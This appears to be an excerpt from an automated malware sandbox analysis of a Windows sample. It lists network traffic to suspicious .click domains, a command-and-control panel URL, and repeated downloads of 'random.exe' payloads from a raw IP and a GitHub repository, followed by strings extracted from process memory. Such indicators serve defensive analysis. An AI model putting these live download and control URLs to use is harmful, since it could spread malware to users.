Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 42Host: lossekniyyt.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=0V5ITJXFUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18098Host: lossekniyyt.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=IPPRXLX9E00FNFYP2R4User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8785Host: lossekniyyt.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cheapptaxysu.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=MHIJ8YC8R68User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20390Host: lossekniyyt.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=CWXic6xsKD_WpPFgUgW9zZc0LibP0bnvky5IXH2aK1c-1734682347-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 42Host: cheapptaxysu.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=AXPAW5WLWK7KTUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1250Host: lossekniyyt.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=81RNL8J556C1YJ1QHDSCookie: __cf_mw_byp=CWXic6xsKD_WpPFgUgW9zZc0LibP0bnvky5IXH2aK1c-1734682347-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18164Host: cheapptaxysu.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=P91EE9FEV5GQCS2I8CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 568226Host: lossekniyyt.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=1X3DHKBXPXJNABI3YWCookie: __cf_mw_byp=CWXic6xsKD_WpPFgUgW9zZc0LibP0bnvky5IXH2aK1c-1734682347-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8779Host: cheapptaxysu.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 77Host: lossekniyyt.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=7UT2HWQX6DTVC9FIJ5SCookie: __cf_mw_byp=CWXic6xsKD_WpPFgUgW9zZc0LibP0bnvky5IXH2aK1c-1734682347-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20438Host: cheapptaxysu.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=S0JAKJ1UJBJLUDCookie: __cf_mw_byp=CWXic6xsKD_WpPFgUgW9zZc0LibP0bnvky5IXH2aK1c-1734682347-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1267Host: cheapptaxysu.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=21YEBLWOQSZTE0BWZM0Cookie: __cf_mw_byp=CWXic6xsKD_WpPFgUgW9zZc0LibP0bnvky5IXH2aK1c-1734682347-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 568234Host: cheapptaxysu.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=CWXic6xsKD_WpPFgUgW9zZc0LibP0bnvky5IXH2aK1c-1734682347-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 77Host: cheapptaxysu.click

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A4E0C0 recv,recv,recv,recv,

0_2_00A4E0C0

Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/raw/refs/heads/main/jthjjdweajtujhjad.exe HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/refs/heads/main/jthjjdweajtujhjad.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/x3team/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/geopoxid/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/unique3/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/lolz/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/london/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/wicked/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11

Source: global traffic	DNS traffic detected: DNS query: lossekniyyt.click
Source: global traffic	DNS traffic detected: DNS query: cheapptaxysu.click
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lossekniyyt.click

Source: global traffic

HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 20 Dec 2024 08:12:27 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OickvX5hxFR00Epd3aXOnrfurvBJQDoFoiCWN7hZxfJVjm3M4VimdJj7XIMPJYcoY4y%2BRptWctmbZ5HnZxPGRYchfM0LDt1lQ87VHRDklayhm3LV34ciHuTCGSQrd%2FLhRJtdGI0%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f4e2ae00f3443bd-EWR

Source: skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000005.00000002.2960801644.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php;
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpUsers
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpk
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phps
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/1.244.11/files/london/random.exe
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/al
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fate/random.exe
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/geopoxid/random.exe
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/geopoxid/random.exeU(
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/lolz/random.exe
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/london/random.exe
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/london/random.exe;
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe&
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe1O3S
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe1aa13
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe2
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe592e1
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exeO
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exeZ3
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exeed
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique3/random.exe
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/wicked/random.exe
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/wicked/random.exeO
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/wicked/random.exe_
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/wicked/random.exeg
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/wicked/random.exew
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F28000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000005.00000002.2960801644.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/x3team/random.exe
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/x3team/random.exeNjR
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/t%
Source: 44098beb09.exe, 00000006.00000002.2433757320.00000000027E3000.00000004.00000800.00020000.00000000.sdmp, 44098beb09.exe, 00000006.00000002.2433757320.0000000002701000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://axschema.org/2http://schema.openid.net/2http://openid.net/schema/
Source: 44098beb09.exe, 00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp, 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://axschema.org/company/nameBhttp://axschema.org/company/title:http://axschema.org/birthDateNhtt
Source: 44098beb09.exe, 00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp, 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://axschema.org/contact/postalAddress/homephttp://axschema.org/contact/postalAddressAdditional/h
Source: 44098beb09.exe, 00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp, 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://axschema.org/contact/postalCode/businessDhttp://axschema.org/contact/IM/AIMDhttp://axschema.o
Source: 44098beb09.exe, 00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp, 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://axschema.org/namePersonJhttp://axschema.org/namePerson/prefixHhttp://axschema.org/namePerson/
Source: 44098beb09.exe, 00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp, 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://axschema.org/person/genderFhttp://axschema.org/media/biographyBhttp://axschema.org/pref/langu
Source: 7349a3c308.exe, 0000000C.00000003.2626990694.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 7349a3c308.exe, 0000000C.00000003.2626990694.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, 2f3190c49d.exe, 00000019.00000002.2957603588.0000000000BC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: powershell.exe, 00000014.00000002.2704653168.00000000074E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microG
Source: powershell.exe, 00000014.00000002.2708831972.0000000008532000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoftE
Source: 7349a3c308.exe, 0000000C.00000003.2626990694.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, 2f3190c49d.exe, 00000019.00000002.2957603588.0000000000BC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, 2f3190c49d.exe, 00000019.00000002.2957603588.0000000000BC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, 2f3190c49d.exe, 00000019.00000002.2957603588.0000000000BC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, 2f3190c49d.exe, 00000019.00000002.2957603588.0000000000BC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: 7349a3c308.exe, 0000000C.00000003.2626990694.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 7349a3c308.exe, 0000000C.00000003.2626990694.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 7349a3c308.exe, 0000000C.00000003.2626990694.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 7349a3c308.exe, 0000000C.00000003.2626990694.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, 2f3190c49d.exe, 00000019.00000002.2957603588.0000000000BC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, 2f3190c49d.exe, 00000019.00000002.2957603588.0000000000BC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, 2f3190c49d.exe, 00000019.00000002.2957603588.0000000000BC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, 2f3190c49d.exe, 00000019.00000002.2957603588.0000000000BC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: 44098beb09.exe, 00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp, 44098beb09.exe, 00000006.00000002.2433757320.00000000027E3000.00000004.00000800.00020000.00000000.sdmp, 44098beb09.exe, 00000006.00000002.2433757320.0000000002701000.00000004.00000800.00020000.00000000.sdmp, 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-63/SP800-63V1_0_2.pdf
Source: d3ba7fdf70.exe, 00000012.00000002.2854922891.0000000002DFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://github.com
Source: d3ba7fdf70.exe, 00000012.00000002.2854922891.0000000002DFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://github.comd
Source: 44098beb09.exe, 00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp, 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://msdn.com/data/ef
Source: 44098beb09.exe, 00000006.00000002.2433757320.00000000027E3000.00000004.00000800.00020000.00000000.sdmp, 44098beb09.exe, 00000006.00000002.2433757320.0000000002701000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://namespace.google.com/openid/xmlns
Source: powershell.exe, 00000014.00000002.2700609333.0000000005B77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, 2f3190c49d.exe, 00000019.00000002.2957603588.0000000000BC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: 7349a3c308.exe, 0000000C.00000003.2626990694.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 7349a3c308.exe, 0000000C.00000003.2626990694.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, 2f3190c49d.exe, 00000019.00000002.2957603588.0000000000BC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: 44098beb09.exe, 00000006.00000002.2433757320.00000000027E3000.00000004.00000800.00020000.00000000.sdmp, 44098beb09.exe, 00000006.00000002.2433757320.0000000002701000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://openid.net/extensions/sreg/1.1
Source: 44098beb09.exe, 00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp, 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://openid.net/extensions/sreg/1.14http://openid.net/sreg/1.04http://openid.net/sreg/1.1
Source: 44098beb09.exe, 00000006.00000002.2433757320.00000000027E3000.00000004.00000800.00020000.00000000.sdmp, 44098beb09.exe, 00000006.00000002.2433757320.0000000002701000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://openid.net/signon/1.1
Source: 44098beb09.exe, 00000006.00000002.2433757320.00000000027E3000.00000004.00000800.00020000.00000000.sdmp, 44098beb09.exe, 00000006.00000002.2433757320.0000000002701000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://openid.net/sreg/1.04http://openid.net/sreg/1.1
Source: 44098beb09.exe, 00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp, 44098beb09.exe, 00000006.00000002.2433757320.00000000027E3000.00000004.00000800.00020000.00000000.sdmp, 44098beb09.exe, 00000006.00000002.2433757320.0000000002701000.00000004.00000800.00020000.00000000.sdmp, 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://openid.net/srv/ax/1.0
Source: 44098beb09.exe, 00000006.00000002.2433757320.00000000027E3000.00000004.00000800.00020000.00000000.sdmp, 44098beb09.exe, 00000006.00000002.2433757320.0000000002701000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://openid.net/xmlns/1.08http://openid.net/signon/1.0
Source: powershell.exe, 00000014.00000002.2693671904.0000000004C66000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: d3ba7fdf70.exe, 00000012.00000002.2854922891.0000000002E3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://raw.githubusercontent.com
Source: d3ba7fdf70.exe, 00000012.00000002.2854922891.0000000002E3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://raw.githubusercontent.comd
Source: 44098beb09.exe, 00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp, 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.openid.net/pape/policies/2007/06/multi-factor-physical
Source: 44098beb09.exe, 00000006.00000002.2433757320.00000000027E3000.00000004.00000800.00020000.00000000.sdmp, 44098beb09.exe, 00000006.00000002.2433757320.0000000002701000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.openid.net/pape/policies/2007/06/none
Source: 44098beb09.exe, 00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp, 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.openid.net/pape/policies/2007/06/phishing-resistantxhttp://schemas.openid.net/pape/po
Source: powershell.exe, 00000014.00000002.2693671904.0000000004C66000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
